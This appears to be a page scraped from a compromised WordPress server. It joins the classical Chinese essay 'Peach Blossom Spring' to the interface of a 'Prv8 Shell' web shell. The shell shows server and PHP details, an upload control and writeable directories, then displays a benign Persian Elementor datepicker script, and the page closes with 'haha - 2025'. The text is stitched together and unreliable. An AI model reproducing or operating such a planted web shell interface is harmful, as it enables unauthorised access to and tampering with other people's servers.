晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/rainic/public_html/oldTZh/wp-content/plugins/persian-elementor/assets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/rainic/public_html/oldTZh/wp-content/plugins/persian-elementor/assets/js/datepicker-init.js
(function($) {
    'use strict';
    
    // Track initialization status
    var isInitialized = false;
    var initializationAttempts = 0;
    var MAX_ATTEMPTS = 5;
    
    // Function to check if library is loaded
    function isJalaliDatepickerLoaded() {
        return typeof window.jalaliDatepicker !== 'undefined';
    }
    
    // Main initialization function
    function initJalaliDatepicker() {
        if (initializationAttempts >= MAX_ATTEMPTS) {
            console.error('Persian Elementor: Maximum initialization attempts reached');
            return false;
        }
        
        initializationAttempts++;
        
        if (!isJalaliDatepickerLoaded()) {
            console.error('Persian Elementor: jalaliDatepicker library not loaded (attempt ' + initializationAttempts + ')');
            
            // Retry after a short delay instead of dynamic loading
            setTimeout(function() {
                initJalaliDatepicker();
            }, 500);
            
            return false;
        }
        
        applyDatepicker();
        return true;
    }
    
    // Apply datepicker to elements
    function applyDatepicker() {
        if (!isJalaliDatepickerLoaded()) return false;
        
        try {
            // Clear any initialization flags
            $('[data-jdp]').each(function() {
                $(this).removeAttr('data-jdp-initialized');
            });
            
            // Initialize with custom settings
            jalaliDatepicker.startWatch({
                selector: '[data-jdp]',
                persianDigit: true,
                autoClose: true,
                position: 'auto',
                observer: true,
                format: 'YYYY/MM/DD'
            });
            
            console.log('Persian Elementor: Datepicker initialized successfully');
            isInitialized = true;
            
            // Force re-init on click for problematic fields - use both selectors
            $(document).off('click', '.persian-date-input, [data-jdp]');  // Remove any duplicate handlers
            $(document).on('click', '.persian-date-input, [data-jdp]', function() {
                var $this = $(this);
                if (!$this.attr('data-jdp-initialized') || $this.attr('data-jdp-initialized') === "false") {
                    jalaliDatepicker.attachDatepicker($this[0]);
                    $this.attr('data-jdp-initialized', 'true');
                }
            });
            
            // Initialize existing fields directly - use both selectors
            $('.persian-date-input, [data-jdp]').each(function() {
                if (!$(this).attr('data-jdp-initialized')) {
                    jalaliDatepicker.attachDatepicker(this);
                    $(this).attr('data-jdp-initialized', 'true');
                }
            });
            
            return true;
        } catch (error) {
            console.error('Persian Elementor: Datepicker initialization error', error);
            return false;
        }
    }
    
    // Initialize when document is ready
    $(document).ready(function() {
        // Try initialization with delay to ensure library is loaded
        setTimeout(initJalaliDatepicker, 500);
    });
    
    // Handle Elementor frontend initialization
    $(window).on('elementor/frontend/init', function() {
        if (typeof elementorFrontend !== 'undefined') {
            elementorFrontend.hooks.addAction('frontend/element_ready/form.default', function() {
                setTimeout(initJalaliDatepicker, 300);
            });
        }
    });
    
    // Handle Elementor editor/preview mode
    if (typeof elementor !== 'undefined') {
        // Editor mode
        $(window).on('elementor:init', function() {
            setTimeout(initJalaliDatepicker, 1000);
        });
        
        // Preview mode
        $(window).on('elementor/frontend/init', function() {
            setTimeout(initJalaliDatepicker, 1000);
        });
    }
    
    // Handle dynamic content changes using MutationObserver (modern replacement for DOMNodeInserted)
    var observer = new MutationObserver(function(mutations) {
        var shouldReinit = false;
        
        mutations.forEach(function(mutation) {
            if (mutation.type === 'childList') {
                mutation.addedNodes.forEach(function(node) {
                    if (node.nodeType === Node.ELEMENT_NODE) {
                        var $node = $(node);
                        // Check if the added node contains datepicker fields or is one itself
                        if ($node.find('[data-jdp]').length > 0 || $node.is('[data-jdp]')) {
                            shouldReinit = true;
                        }
                    }
                });
            }
        });
        
        if (shouldReinit) {
            setTimeout(initJalaliDatepicker, 300);
        }
    });
    
    // Start observing the document for changes
    observer.observe(document.body, {
        childList: true,
        subtree: true
    });
    
    // Make functions available globally for debugging
    window.persianElementor = {
        initDatepicker: initJalaliDatepicker,
        isJalaliLoaded: isJalaliDatepickerLoaded,
        manualInit: function(selector) {
            if (isJalaliDatepickerLoaded() && selector) {
                var element = document.querySelector(selector);
                if (element) {
                    jalaliDatepicker.attachDatepicker(element);
                    return true;
                }
            }
            return false;
        }
    };
    
})(jQuery);

haha - 2025